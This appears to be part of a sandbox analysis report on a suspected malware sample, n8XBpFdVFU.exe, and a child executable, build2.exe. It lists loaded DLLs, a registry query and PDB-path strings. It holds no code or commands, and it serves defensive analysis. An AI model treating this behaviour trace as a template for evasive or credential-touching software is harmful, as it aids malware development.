Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\n8XBpFdVFU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe	Section loaded: ncryptsslp.dll

Source: C:\Users\user\Desktop\n8XBpFdVFU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: n8XBpFdVFU.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: n8XBpFdVFU.exe, 00000004.00000003.2107229483.0000000009AA7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100679503.0000000009AAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\* source: n8XBpFdVFU.exe, 00000004.00000003.2059445223.0000000009ABF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009ACA000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060381837.0000000009AE5000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2058766798.0000000009ABF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060102431.0000000009AD2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060253396.0000000009ADE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error\*8 source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\AC source: n8XBpFdVFU.exe, 00000004.00000003.2071378873.0000000009A91000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2145077667.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145361996.0000000003441000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2144578065.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145621566.0000000003442000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2122985442.0000000003322000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120007475.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120925394.000000000331B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120700957.000000000330B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\] source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2129691380.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142264228.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142623332.0000000003303000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2143858841.000000000335B000.00000004.00000020.00020000.00000000.sdmp
